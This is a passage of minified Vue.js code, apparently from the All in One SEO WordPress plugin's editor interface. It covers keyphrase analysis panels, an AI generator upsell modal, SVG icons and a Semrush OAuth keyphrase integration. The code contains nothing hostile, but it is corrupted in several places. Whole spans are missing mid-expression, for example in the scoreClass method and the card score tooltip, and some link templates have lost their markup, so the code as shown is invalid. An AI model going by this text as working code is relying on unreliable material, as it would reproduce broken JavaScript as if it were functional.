n(),f(j,{key:$},[C.title?(n(),f("li",ui,[h("p",{class:E(["title",C.error===0?"toggled":""])},[C.error===0?(n(),_(u,{key:0,width:"16"})):g("",!0),C.error===1?(n(),_(c,{key:1,width:"16"})):g("",!0),h("span",pi,m(C.title),1),(v=C==null?void 0:C.highlightSentences)!=null&&v.length?(n(),_(p,{key:2,analyzer:$},null,8,["analyzer"])):g("",!0),d(S,{width:"16",role:"button",onClick:H(r.toggleDescriptionEv,["stop"])},null,8,["onClick"])],2),h("p",gi,m(C.description),1)])):g("",!0)],64)}),128))])}const yt=y(ci,[["render",mi]]),_i={setup(){return{licenseStore:O(),postEditorStore:P()}},components:{CoreAlert:K,CoreKeyphrase:Me,CoreLoader:he,SvgCirclePlus:Vt,metaboxAnalysisDetail:yt},data(){return{selectedKeyphrase:0,strings:{additional:this.$t.__("Additional Keyphrases",this.$td),addKeyphrase:this.$t.__("Add Additional Keyphrases",this.$td),keyphraseDocumentation:this.$t.__("Improve your SEO rankings with additional keyphrases.",this.$td),upsell:this.$t.sprintf(this.$t.__("Additional Keyphrases are a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("post-settings",this.$constants.GLOBAL_STRINGS.learnMore,"additional-keywords",!0))}}},watch:{"postEditorStore.currentPost.keyphrases.additional"(){this.postEditorStore.currentPost.keyphrases.additional&&!this.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase]&&(this.selectedKeyphrase=0)}},methods:{onSelectedKeyphrase(t){this.selectedKeyphrase=t},onSaved(t){const{index:e,value:i}=t;this.postEditorStore.currentPost.keyphrases.additional[e].keyphrase=i,this.postEditorStore.currentPost.keyphrases.additional[e].score=0,this.postEditorStore.currentPost.loading.additional[e]=!0,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost}),this.selectedKeyphrase=e},onDeleted(t){const e=[...this.postEditorStore.currentPost.keyphrases.additional];e.splice(t,1),this.postEditorStore.currentPost.keyphrases.additional=null,setTimeout(()=>{this.postEditorStore.currentPost.keyphrases.additional=e,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})},300)},addKeyphraseEv(){var i;const e=document.getElementsByClassName(`add-keyphrase-${this.$root._data.screenContext}-input`)[0].querySelector(".medium");if(e.value){const s={keyphrase:e.value,score:0},o=this.postEditorStore.currentPost.keyphrases.additional.push(s),r=document.getElementsByClassName("keyphrase-name");this.postEditorStore.currentPost.loading.additional[0]=!0,e.value="",e.blur(),this.postEditorStore.isDirty=!0,(i=r[o])==null||i.click(),this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})}},pressEnter(t){const e=document.getElementById("add-additional-keyphrase");t.preventDefault(),e.click()},created(){this.postEditorStore.currentPost.keyphrases.forEach((t,e)=>{this.postEditorStore.currentPost.loading.additional[e]=!1})}}},fi={class:"additional-keyphrases-panel"},Si={key:0},yi={class:"analysis-wrapper"},bi={class:"aioseo-description additional-keyphrases-description"},vi=["innerHTML"];function ki(t,e,i,s,o,r){const u=a("core-keyphrase"),c=a("core-loader"),p=a("metaboxAnalysisDetail"),S=a("base-input"),C=a("svg-circle-plus"),$=a("base-button"),v=a("core-alert");return n(),f("div",fi,[s.postEditorStore.currentPost.keyphrases.additional&&s.postEditorStore.currentPost.keyphrases.additional.length&&t.$isPro&&s.licenseStore.license.isActive?(n(),f("div",Si,[(n(!0),f(j,null,et(s.postEditorStore.currentPost.keyphrases.additional,(b,k)=>(n(),_(u,{key:k,index:k,keyphrase:b.keyphrase,score:b.score,onSaved:r.onSaved,onDeleted:r.onDeleted,onSelectedKeyphrase:r.onSelectedKeyphrase,class:E(["aioseo-keyphrase-tag additional-keyphrase",o.selectedKeyphrase===k?"selected":null])},null,8,["index","keyphrase","score","onSaved","onDeleted","onSelectedKeyphrase","class"]))),128)),h("div",yi,[s.postEditorStore.currentPost.loading.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase].keyphrase?(n(),_(c,{key:0,class:"analysis-loading",dark:""})):g("",!0),!s.postEditorStore.currentPost.loading.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase]&&s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase].keyphrase?(n(),_(p,{key:1,analysisItems:s.postEditorStore.currentPost.keyphrases.additional[this.selectedKeyphrase].analysis},null,8,["analysisItems"])):g("",!0)])])):g("",!0),t.$isPro&&s.licenseStore.license.isActive?(n(),_(S,{key:1,size:"medium",class:E(`add-keyphrase-${this.$root._data.screenContext}-input`),onKeydown:Rt(r.pressEnter,["enter"])},null,8,["class","onKeydown"])):g("",!0),t.$isPro&&s.licenseStore.license.isActive?(n(),_($,{key:2,id:"add-additional-keyphrase",class:"add-keyphrase gray medium",onClick:r.addKeyphraseEv},{default:l(()=>[d(C,{width:"14",height:"14"}),w(" "+m(o.strings.addKeyphrase),1)]),_:1},8,["onClick"])):g("",!0),!t.$isPro||!s.licenseStore.license.isActive?(n(),f(j,{key:3},[h("div",bi,m(o.strings.keyphraseDocumentation),1),d(v,{class:"inline-upsell",type:"blue"},{default:l(()=>[h("div",{innerHTML:o.strings.upsell},null,8,vi)]),_:1})],64)):g("",!0)])}const wi=y(_i,[["render",ki],["__scopeId","data-v-73d0fe06"]]),Ci=""+window.__aioseoDynamicImportPreload__("images/open-ai.Du2ac8yQ.png"),$i={setup(){return{getAssetUrl:cs,settingsStore:Y()}},components:{CoreModal:J},props:{type:{type:String,required:!0}},data(){return{OpenAiImage:Ci,strings:{upgradeToPro:this.$t.__("Upgrade to Pro Today",this.$td),learnMoreLink:this.$t.sprintf('%2$s %3$s',this.$links.getUpsellUrl("post-settings","general","open-ai"),this.$t.__("Learn more about all the features",this.$td),this.$links.getUpsellLink("post-settings","","general",!0))}}},computed:{headerTitle(){return this.type==="title"?this.$t.sprintf(this.$t.__("Generate New SEO %1$s",this.$td),this.$t.__("Title",this.$td)):this.$t.sprintf(this.$t.__("Generate New SEO %1$s",this.$td),this.$t.__("Description",this.$td))},ctaHeaderTitle(){return this.type==="title"?this.$t.sprintf(this.$t.__("Generating SEO %1$s is a Pro Feature",this.$td),this.$t.__("Titles",this.$td)):this.$t.sprintf(this.$t.__("Generating SEO %1$s is a Pro Feature",this.$td),this.$t.__("Descriptions",this.$td))},ctaDescription(){return this.type==="title"?this.$t.sprintf(this.$t.__("With our Pro version, you now have access to the powerful feature that generates SEO optimized %1$s with just a click of a button. Say goodbye to manual %2$s creation and hello to increased online visibility.",this.$td),this.$t.__("titles",this.$td),this.$t.__("title",this.$td)):this.$t.sprintf(this.$t.__("With our Pro version, you now have access to the powerful feature that generates SEO optimized %1$s with just a click of a button. Say goodbye to manual %2$s creation and hello to increased online visibility.",this.$td),this.$t.__("meta descriptions",this.$td),this.$t.__("description",this.$td))}}},Pi={class:"cta"},Ei=["src"],Ti={class:"bottom"},xi={class:"title"},Ai=["innerHTML"];function Li(t,e,i,s,o,r){const u=a("base-button"),c=a("core-modal");return n(),_(c,{classes:["aioseo-ai-generator-modal"],onClose:e[0]||(e[0]=p=>s.settingsStore.setModalState({modalName:"aiGenerator",value:!1}))},{headerTitle:l(()=>[w(m(r.headerTitle),1)]),body:l(()=>[h("div",Pi,[h("img",{src:s.getAssetUrl(o.OpenAiImage),alt:"open-ai-upsell"},null,8,Ei),h("div",Ti,[h("div",null,[h("p",xi,m(r.ctaHeaderTitle),1),h("p",null,m(r.ctaDescription),1)]),h("div",null,[d(u,{type:"green",size:"medium",tag:"a",href:t.$links.getPricingUrl("post-settings","general","open-ai")},{default:l(()=>[w(m(o.strings.upgradeToPro),1)]),_:1},8,["href"]),h("span",{innerHTML:o.strings.learnMoreLink},null,8,Ai)])])])]),_:1})}const Mi=y($i,[["render",Li]]),Hi={},Ii={class:"aioseo-ai-robot",viewBox:"0 0 16 14",xmlns:"http://www.w3.org/2000/svg"},Bi=h("path",{d:"M2.23351 8.73334C1.73351 8.73334 1.31129 8.55996 0.966845 8.2132C0.622412 7.86644 0.450195 7.44537 0.450195 6.95C0.450195 6.45464 0.623579 6.03357 0.970345 5.6868C1.31709 5.34005 1.73815 5.16667 2.23351 5.16667V2.89999C2.23351 2.63332 2.33351 2.39999 2.53351 2.19999C2.73351 1.99999 2.96685 1.89999 3.23351 1.89999H6.21686C6.21686 1.39999 6.39024 0.977765 6.737 0.63332C7.08376 0.288876 7.50483 0.116653 8.0002 0.116653C8.49556 0.116653 8.91663 0.290037 9.2634 0.636803C9.61015 0.983559 9.78353 1.40462 9.78353 1.89999H12.7669C13.0335 1.89999 13.2669 1.99999 13.4669 2.19999C13.6669 2.39999 13.7669 2.63332 13.7669 2.89999V5.16667C14.2669 5.16667 14.6891 5.34005 15.0335 5.6868C15.378 6.03357 15.5502 6.45464 15.5502 6.95C15.5502 7.44537 15.3768 7.86644 15.0301 8.2132C14.6833 8.55996 14.2622 8.73334 13.7669 8.73334V12.2167C13.7669 12.4834 13.6669 12.7167 13.4669 12.9167C13.2669 13.1167 13.0335 13.2167 12.7669 13.2167H3.23351C2.96685 13.2167 2.73351 13.1167 2.53351 12.9167C2.33351 12.7167 2.23351 12.4834 2.23351 12.2167V8.73334ZM5.77731 7.01015C5.97615 7.01015 6.14416 6.94024 6.28136 6.80042C6.41856 6.66061 6.48716 6.48971 6.48716 6.28774C6.48716 6.08577 6.41726 5.91619 6.27745 5.77899C6.13762 5.64179 5.9683 5.57319 5.76946 5.57319C5.57063 5.57319 5.40104 5.64283 5.2607 5.78212C5.12036 5.92141 5.0502 6.09414 5.0502 6.3003C5.0502 6.49914 5.12167 6.66715 5.26463 6.80435C5.40758 6.94155 5.57848 7.01015 5.77731 7.01015ZM10.2309 7.01015C10.4298 7.01015 10.5994 6.94024 10.7397 6.80042C10.88 6.66061 10.9502 6.48971 10.9502 6.28774C10.9502 6.08577 10.8787 5.91619 10.7358 5.77899C10.5928 5.64179 10.4219 5.57319 10.2231 5.57319C10.0242 5.57319 9.85623 5.64283 9.71903 5.78212C9.58183 5.92141 9.51323 6.09414 9.51323 6.3003C9.51323 6.49914 9.58313 6.66715 9.72295 6.80435C9.86277 6.94155 10.0321 7.01015 10.2309 7.01015ZM5.30383 10.25H10.6966V9.14637H5.30383V10.25ZM3.55383 11.8964H12.4466V3.2203H3.55383V11.8964Z",fill:"currentColor"},null,-1),Ri=[Bi];function Oi(t,e){return n(),f("svg",Ii,Ri)}const Di=y(Hi,[["render",Oi]]),Ni={setup(){return{settingsStore:Y()}},components:{AiModal:Mi,CoreTooltip:G,SvgAiRobot:Di},props:{type:{type:String,required:!0}},data(){return{strings:{useAiGenerator:this.$t.__("Use AI Generator",this.$td)}}}},Vi={class:"aioseo-ai-generator"};function Ui(t,e,i,s,o,r){const u=a("svg-ai-robot"),c=a("core-tooltip"),p=a("ai-modal");return n(),f("div",Vi,[d(c,{type:"action",offset:"-30px,0"},{tooltip:l(()=>[w(m(o.strings.useAiGenerator),1)]),default:l(()=>[h("button",{type:"button",onClick:e[1]||(e[1]=S=>s.settingsStore.setModalState({modalName:"aiGenerator",value:i.type}))},[d(u,{onClick:e[0]||(e[0]=S=>s.settingsStore.setModalState({modalName:"aiGenerator",value:i.type}))})])]),_:1}),d(p,{show:s.settingsStore.modals.aiGenerator===i.type,type:i.type},null,8,["show","type"])])}const Ki=y(Ni,[["render",Ui]]),Gi={setup(){const{strings:t}=me();return{settingsStore:Y(),strings:t}},components:{CoreTooltip:G,SvgCaret:_t,SvgCircleCheck:Bt,SvgCircleQuestionMark:Nt,SvgEllipse:Se,TransitionSlide:Rs},mixins:[_e],props:{slug:{type:String,required:!0},headerText:String,focusScore:Number,trueSeoScore:Number,toggles:{type:Boolean,default(){return!0}},hideHeader:Boolean,noSlide:Boolean,saveToggleStatus:{type:Boolean,default(){return!0}}},watch:{"settingsStore.metaBoxTabs.mainSidebar":{deep:!0,handler(t){this.$root._data.screenContext==="sidebar"&&this.openCard(t.card)}}},methods:{openCard(t){for(const e in this.settingsStore.settings.toggledCards)this.settingsStore.settings.toggledCards[e]&&this.settingsStore.toggleCard({slug:e});this.settingsStore.toggleCard({slug:t})}},created(){this.openCard(this.settingsStore.metaBoxTabs.mainSidebar.card)}},Fi={class:"aioseo-card aioseo-sidebar-card"},qi={class:"text"},zi={key:0,class:"content"},Wi={key:1,class:"content"};function ji(t,e,i,s,o,r){const u=a("svg-ellipse"),c=a("svg-circle-check"),p=a("svg-circle-question-mark"),S=a("core-tooltip"),C=a("svg-caret"),$=a("transition-slide");return n(),f("div",Fi,[i.hideHeader?g("",!0):(n(),f("div",{key:0,class:"header",onClick:e[0]||(e[0]=v=>s.settingsStore.toggleCard({slug:i.slug,shouldSave:i.saveToggleStatus}))},[h("div",qi,[q(t.$slots,"header",{},()=>[w(m(i.headerText),1)]),i.focusScore>=0?q(t.$slots,"alt",{key:0},()=>[i.focusScore!==null?(n(),f("span",{key:0,class:E(["card-score",t.getScoreClass(i.focusScore)])},m(i.focusScore)+"/100 ",3)):g("",!0)]):g("",!0),i.trueSeoScore>=0?q(t.$slots,"alt",{key:1},()=>[h("span",{class:E(["card-score",t.getErrorClass(i.trueSeoScore)])},[0[q(t.$slots,"tooltip")]),default:l(()=>[d(p)]),_:3})):g("",!0)]),i.toggles&&s.settingsStore.settings.toggledCards?(n(),_(C,{key:0,class:E({rotated:!s.settingsStore.settings.toggledCards[i.slug]})},null,8,["class"])):g("",!0)])),s.settingsStore.settings.toggledCards||i.noSlide?(n(),_($,{key:1,active:s.settingsStore.settings.toggledCards[i.slug]&&i.toggles||i.noSlide},{default:l(()=>[t.$slots["before-tabs"]?(n(),f("div",zi,[q(t.$slots,"before-tabs")])):g("",!0),q(t.$slots,"tabs"),t.$slots.default?(n(),f("div",Wi,[q(t.$slots,"default")])):g("",!0)]),_:3},8,["active"])):g("",!0)])}const Yi=y(Gi,[["render",ji]]),Zi={props:{width:Number,height:Number,fillColor:String,strokeColor:String,strokeWidth:Number,data:Array},computed:{getViewBox(){return"0 0 "+this.width+" "+this.height},polylinePoints(){const t=Math.max(...this.data.map(o=>o.x)),e=Math.max(...this.data.map(o=>o.y)),i=this.height-this.strokeWidth,s=this.data.map(o=>{const r=o.x===0?0:o.x/t,u=o.y===0?0:o.y/e,c=r*this.width,p=i-u*i+this.strokeWidth;return`${c},${p}`}).join(" ");return`0,${i+this.strokeWidth} `+s+` ${this.width},${i+this.strokeWidth}`}}},Ji=["width","height","viewBox"],Xi=["fill","points"],Qi=["stroke","strokeWidth","points"];function tr(t,e,i,s,o,r){return n(),f("svg",{width:i.width,height:i.height,viewBox:r.getViewBox,role:"img","aria-hidden":"true",focusable:"false"},[h("polygon",{fill:i.fillColor,points:r.polylinePoints},null,8,Xi),h("polyline",{fill:"none",stroke:i.strokeColor,strokeWidth:i.strokeWidth,strokeLinejoin:"round",strokeLinecap:"round",points:r.polylinePoints},null,8,Qi)],8,Ji)}const er=y(Zi,[["render",tr]]),sr={},or={viewBox:"0 0 158 21",class:"aioseo-logo-semrush"},ir=h("path",{d:"M108.808 8.212c0-2.579-1.586-4.456-4.628-4.456h-9.826v13.37h3.227v-4.563h3.822l3.742 4.562h3.637v-.29l-3.637-4.351c2.288-.463 3.663-2.13 3.663-4.272zm-4.985 1.653h-6.229V6.533h6.229c1.15 0 1.891.608 1.891 1.666 0 1.084-.714 1.666-1.891 1.666zM157.593 3.756h-3.029v5.078h-8.133V3.756h-3.266v13.383h3.266v-5.277h8.133v5.277h3.029V3.756zM85.72 3.756l-3.598 11.253h-.198l-3.61-11.253H72.56v13.383h3.081V6.149h.185l3.597 10.99h4.96l3.61-10.99h.185v10.99h3.174V3.756h-5.634zM50.57 9.23c-1.138-.118-3.267-.317-4.404-.436-1.124-.119-1.772-.45-1.772-1.19 0-.714.687-1.31 3.464-1.31 2.46 0 4.721.53 6.692 1.482V4.787c-1.97-.939-4.153-1.402-6.864-1.402-3.808 0-6.44 1.587-6.44 4.285 0 2.275 1.547 3.518 4.642 3.861 1.124.12 3.028.291 4.364.397 1.454.12 1.878.569 1.878 1.23 0 .913-1.019 1.468-3.597 1.468-2.619 0-5.277-.86-7.168-2.063v3.081c1.521 1.019 4.14 1.878 7.062 1.878 4.152 0 6.824-1.6 6.824-4.47.026-2.168-1.402-3.478-4.682-3.821zM57.393 3.756v13.383h12.47V14.4h-9.389v-2.71h9.23V8.978h-9.23V6.493h9.39V3.756H57.392zM136.487 9.23c-1.138-.118-3.267-.317-4.404-.436-1.124-.119-1.772-.45-1.772-1.19 0-.714.688-1.31 3.465-1.31 2.459 0 4.721.53 6.691 1.482V4.787c-1.97-.939-4.152-1.402-6.863-1.402-3.809 0-6.44 1.587-6.44 4.285 0 2.275 1.547 3.518 4.641 3.861 1.124.12 3.029.291 4.364.397 1.455.12 1.878.569 1.878 1.23 0 .913-1.018 1.468-3.597 1.468-2.618 0-5.276-.86-7.167-2.063v3.081c1.52 1.019 4.139 1.878 7.061 1.878 4.153 0 6.824-1.6 6.824-4.47.027-2.168-1.402-3.478-4.681-3.821zM121.742 3.756v6.85c0 2.592-1.574 4.02-3.941 4.02-2.38 0-3.941-1.402-3.941-4.06v-6.81h-3.213v6.506c0 4.853 3.028 7.26 7.207 7.26 4.007 0 7.115-2.301 7.115-7.101V3.756h-3.227z",fill:"#020202"},null,-1),rr=h("path",{d:"M30.19 10.368c0 .648-.33.753-1.15.753-.872 0-1.031-.145-1.124-.806-.172-1.68-1.309-3.108-3.213-3.267-.608-.052-.754-.277-.754-1.031 0-.7.106-1.031.648-1.031 3.306.013 5.594 2.67 5.594 5.382zm4.814 0C35.004 5.329 31.593 0 23.711 0H8.054c-.318 0-.516.159-.516.45 0 .158.119.304.225.383.568.45 1.415.952 2.525 1.508 1.085.542 1.931.899 2.777 1.243.357.145.49.304.49.502 0 .278-.199.45-.582.45H.543c-.371 0-.543.238-.543.476 0 .198.066.37.238.542 1.005 1.058 2.618 2.328 4.96 3.796a71.557 71.557 0 006.611 3.636c.344.159.45.344.45.542-.013.225-.185.41-.582.41h-5.7c-.317 0-.502.172-.502.437 0 .145.119.33.278.476 1.295 1.177 3.372 2.46 6.136 3.636C15.579 20.061 19.32 21 23.526 21c7.974 0 11.478-5.964 11.478-10.632zm-10.407 7.445c-4.073 0-7.485-3.32-7.485-7.458 0-4.074 3.399-7.353 7.485-7.353 4.179 0 7.458 3.266 7.458 7.353-.013 4.139-3.28 7.458-7.458 7.458z",fill:"#FF642D"},null,-1),nr=[ir,rr];function ar(t,e){return n(),f("svg",or,nr)}const lr=y(sr,[["render",ar]]),dr={setup(){return{connectStore:Ve(),licenseStore:O(),optionsStore:dt(),postEditorStore:P(),rootStore:Z(),semrushStore:Ue()}},components:{CoreAlert:K,CoreKeyphrase:Me,CoreLoader:he,CoreModal:J,CoreTooltip:G,SvgAreaChart:er,SvgCircleCheck:Bt,SvgCirclePlus:Vt,SvgLogoSemrush:lr,SvgTrash:St,metaboxAnalysisDetail:yt},data(){return{showSemrushTooltip:!1,loadingResults:!1,semrushShowModal:!1,addingAdditionalKeyphrase:!1,removingAdditionalKeyphrase:!1,semrushCountry:{value:"US",label:"United States of America - US"},strings:{modalTitle:this.$t.sprintf(this.$t.__("Additional Keyphrases by %1$s",this.$td),"Semrush"),addKeyphrase:this.$t.__("Add Focus Keyphrase",this.$td),getAdditionalKeyphrases:this.$t.__("Get Additional Keyphrases",this.$td),showResultsFor:this.$t.__("Show Results For:",this.$td),keyphrase:this.$t.__("Keyphrase",this.$td),volume:this.$t.__("Volume",this.$td),trend:this.$t.__("Trend",this.$td),addAdditionalKeyphrase:this.$t.__("Add Keyphrase",this.$td),removeAdditionalKeyphrase:this.$t.__("Remove Keyphrase",this.$td),noResults:this.$t.__("No results",this.$td),upsell:this.$t.sprintf(this.$t.__("Analyzing your content with %1$s keywords is only available to licensed %2$s users. %3$s",this.$td),"Semrush","AIOSEO Pro",this.$links.getUpsellLink("semrush-keywords",this.$constants.GLOBAL_STRINGS.learnMore,null,!0)),semrushGetAdditionalKeyphrases:this.$t.sprintf(this.$t.__("%1$s integrates directly with %2$s to provide you with actionable keyphrases to help you write better content.",this.$td),"AIOSEO","Semrush"),pleaseAddFocusKeyphrase:this.$t.__("To use this feature, first add a focus keyphrase.",this.$td),focusKeyphrase:this.$t.__("Focus Keyphrase",this.$td),delete:this.$t.__("Delete",this.$td),semrushTooltip:this.$t.sprintf(this.$t.__("Get Additional Keyphrases with %1$s!",this.$td),"Semrush"),semrushTooltipLicenseKey:this.$t.sprintf(this.$t.__("%1$sA valid license key is required%2$s in order to connect with %3$s.",this.$td),'',"","Semrush"),youHaveExceededSemrush:this.$t.sprintf(this.$t.__("You have exceeded the number of requests allowed by your %1$s plan.",this.$td),"Semrush"),inOrderToUpgradeSemrush:this.$t.sprintf(this.$t.__("In order to continue searching for additional keyphrases, you'll need to upgrade. %1$s",this.$td),this.$links.getUpsellLink("semrush-pricing",this.$constants.GLOBAL_STRINGS.learnMore,"semrushPricing",!0))}}},watch:{semrushCountry:{deep:!0,handler(){this.getKeyphrases()}}},computed:{semrushError(){return this.semrushStore.error.includes("TOTAL LIMIT EXCEEDED")?this.$t.__("You have exceeded the limit for requests. Please try again later.",this.$td):this.$t.__("An error occurred while fetching keyphrases. Please try again later.",this.$td)},semrushDatabase(){return this.$constants.COUNTRY_LIST.map(t=>(t.value==="GB"&&(t.value="UK",t.label="United Kingdom"),t.value==="KR"&&(t.label="South Korea"),t)).filter(t=>this.$constants.SEMRUSH_DATABASE.includes(t.value.toLowerCase())).map(t=>(t.label=t.label+" - "+t.value.toUpperCase(),t))}},methods:{getAdditionalKeyphrases(){if(this.showSemrushTooltip=!1,!this.connectStore.isConnected){this.openConnectPopup(this.rootStore.aioseo.urls.connect+"&semrush=true");return}if(!this.semrushStore.hasValidTokens){this.openPopup("https://oauth.semrush.com/auth/login?client_id=aioseo&redirect_uri=https%3A%2F%2Foauth.semrush.com%2Foauth2%2Faioseo%2Fsuccess&ref=2190331110&response_type=code&scope=user.id");return}this.openModal()},transformTrendDataToChartPoints(t){return t.split(",").map((i,s)=>({x:s,y:parseFloat(i)}))},openConnectPopup(t){Yt(t,this.connectWithAioseo,600,630,!0,["token"],this.completedConnectCallback,this.closedConnectCallback)},openPopup(t){Yt(t,"Semrush Oauth",450,570,!0,["code"],this.completedCallback,this.closedCallback,this.postMessageCallback)},async completedCallback(t){return this.semrushStore.authenticate(t.code)},completedConnectCallback(t){return this.connectStore.saveConnectToken(t.token)},openModal(){this.semrushShowModal=!0,!this.semrushStore.error&&this.getKeyphrases()},getKeyphrases(){this.loadingResults=!0,this.semrushStore.getKeyphrases(this.semrushCountry.value).then(()=>{this.loadingResults=!1}).catch(t=>{this.semrushShowModal=!1,this.loadingResults=!1,console.error(t.message)})},closedCallback(t){t&&this.openModal()},closedConnectCallback(t){if(t){if(this.semrushStore.hasValidTokens){this.$nextTick(this.getAdditionalKeyphrases);return}this.showSemrushTooltip=!0}},async postMessageCallback(t,e,i){const{data:s,source:o,origin:r}=t;if(!(r!=="https://oauth.semrush.com"||e!==o)){if(s.type==="semrush:oauth:success"){window.removeEventListener("message",i,!1);let u={};try{const c=new URL(s.url);u=nt(c.search)}catch{}this.completedCallback(u).then(()=>{e.close(),e=null,this.closedCallback(!0)})}s.type==="semrush:oauth:denied"&&(e.close(),window.removeEventListener("message",i,!1),e=null,this.closedCallback())}},onSaved(t){const{value:e}=t;this.postEditorStore.currentPost.keyphrases.focus.keyphrase=e,this.postEditorStore.currentPost.loading.focus=!0,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})},onDeleted(){this.postEditorStore.currentPost.keyphrases.focus.keyphrase=null,this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})},addKeyphraseEv(){const e=document.getElementsByClassName(`add-focus-keyphrase-${this.$root._data.screenContext}-input`)[0].querySelector(".medium");if(e.value){const i={keyphrase:e.value,score:0,analysis:{}};this.postEditorStore.currentPost.keyphrases.focus=i,this.postEditorStore.currentPost.loading.focus=!0,e.value="",e.blur(),this.postEditorStore.isDirty=!0,this.$truSeo.runAnalysis({postId:this.postEditorStore.currentPost.id,postData:this.postEditorStore.currentPost})}},hasAdditionalKeyphrase(t){const{additional:e}=this.postEditorStore.currentPost.keyphrases;return e.filter(i=>i.keyphrase.toLowerCase()===t).length},getAdditionalKeyphrase(t){const{additional:e}=this.postEditorStore.currentPost.keyphrases;return e.find(i=>i.keyphrase.toLowerCase()===t)},scoreClass(t){return 80s.keyphrase.toLowerCase()===t);if(i!==-1){const s=document.getElementsByClassName("keyphrase-name");s[i+1]&&s[i+1].click(),this.semrushShowModal=!1}},removeAdditionalKeyphrase(t,e){this.removingAdditionalKeyphrase=e;const{additional:i}=this.postEditorStore.currentPost.keyphrases,s=i.findIndex(o=>o.keyphrase.toLowerCase()===t);if(s!==-1){i.splice(s,1),this.postEditorStore.currentPost.keyphrases.additional=i;const o=document.getElementsByClassName("keyphrase-name");o[0]&&o[0].click()}this.$nextTick(()=>{this.removingAdditionalKeyphrase=!1})},toggleDescriptionEv(t){t.target.parentElement.classList.toggle("toggled")},pressEnter(t){const e=document.getElementById("add-focus-keyphrase");t.preventDefault(),e.click()}},mounted(){const t=[];this.optionsStore.internalOptions.integrations.semrush.accessToken&&this.semrushStore.expired&&t.push(this.semrushStore.refresh())}},cr={class:"aioseo-focus-keyphrase-panel"},hr={class:"disabled-button gray medium"},ur={class:"disabled-button gray"},pr=["innerHTML"],gr={class:"aioseo-modal-content has-padding"},mr={class:"aioseo-settings-row"},_r={class:"settings-name"},fr={class:"name"},Sr={class:"results"},yr={"aria-label":"Additional Keyphrases",class:"additional-keyphrases-table",cellpadding:"0",cellspacing:"0"},br={class:"keyphrases-header"},vr={class:"keyphrase"},kr={class:"keyphrase-volume"},wr={class:"keyphrase-trend"},Cr={key:0,class:"keyphrase-actions"},$r={class:"keyphrases-rows"},Pr={class:"keyphrase"},Er={class:"keyphrase-volume"},Tr={class:"keyphrase-trend"},xr={key:0,class:"keyphrase-actions"},Ar={key:0,class:"focus-keyphrase"},Lr={key:1},Mr={key:1,class:"remove-keyphrase"},Hr=["onClick"],Ir={key:1,class:"keyphrase-row"},Br=["colspan"],Rr={key:1},Or={class:"semrush-logo"},Dr={class:"semrush-upsell"},Nr=["innerHTML"],Vr=["innerHTML"];function Ur(t,e,i,s,o,r){const u=a("base-input"),c=a("svg-circle-plus"),p=a("base-button"),S=a("core-tooltip"),C=a("core-keyphrase"),$=a("core-loader"),v=a("metaboxAnalysisDetail"),b=a("core-alert"),k=a("base-select"),M=a("svg-area-chart"),L=a("svg-circle-check"),Q=a("svg-trash"),bt=a("svg-logo-semrush"),ct=a("core-modal");return n(),f("div",cr,[!s.postEditorStore.currentPost.keyphrases.focus||!s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),_(u,{key:0,size:"medium",class:E(`add-focus-keyphrase-${this.$root._data.screenContext}-input`),onKeydown:Rt(r.pressEnter,["enter"])},null,8,["class","onKeydown"])):g("",!0),h("div",{class:E(`add-focus-keyphrase-${this.$root._data.screenContext}-button`)},[!s.postEditorStore.currentPost.keyphrases.focus||!s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),_(p,{key:0,id:"add-focus-keyphrase",class:"add-keyphrase gray medium",onClick:r.addKeyphraseEv},{default:l(()=>[d(c,{width:"14",height:"14"}),w(" "+m(o.strings.addKeyphrase),1)]),_:1},8,["onClick"])):g("",!0),!s.postEditorStore.currentPost.keyphrases.focus||!s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),_(S,{key:1},{tooltip:l(()=>[h("span",null,m(o.strings.semrushGetAdditionalKeyphrases)+" "+m(o.strings.pleaseAddFocusKeyphrase),1)]),default:l(()=>[h("div",hr,[d(c,{width:"14",height:"14"}),w(" "+m(o.strings.getAdditionalKeyphrases),1)])]),_:1})):g("",!0)],2),s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),_(C,{key:1,index:0,keyphrase:s.postEditorStore.currentPost.keyphrases.focus.keyphrase,score:s.postEditorStore.currentPost.keyphrases.focus.score,onSaved:r.onSaved,onDeleted:r.onDeleted,class:"aioseo-keyphrase-tag"},null,8,["keyphrase","score","onSaved","onDeleted"])):g("",!0),s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus?(n(),_($,{key:2,class:"analysis-loading",dark:""})):g("",!0),!s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase?(n(),_(v,{key:3,analysisItems:s.postEditorStore.currentPost.keyphrases.focus.analysis},null,8,["analysisItems"])):g("",!0),!s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase&&t.$isPro&&s.licenseStore.isUnlicensed?(n(),_(S,{key:4},{tooltip:l(()=>[h("span",{innerHTML:o.strings.semrushTooltipLicenseKey},null,8,pr)]),default:l(()=>[h("div",ur,[d(c,{width:"14",height:"14"}),w(" 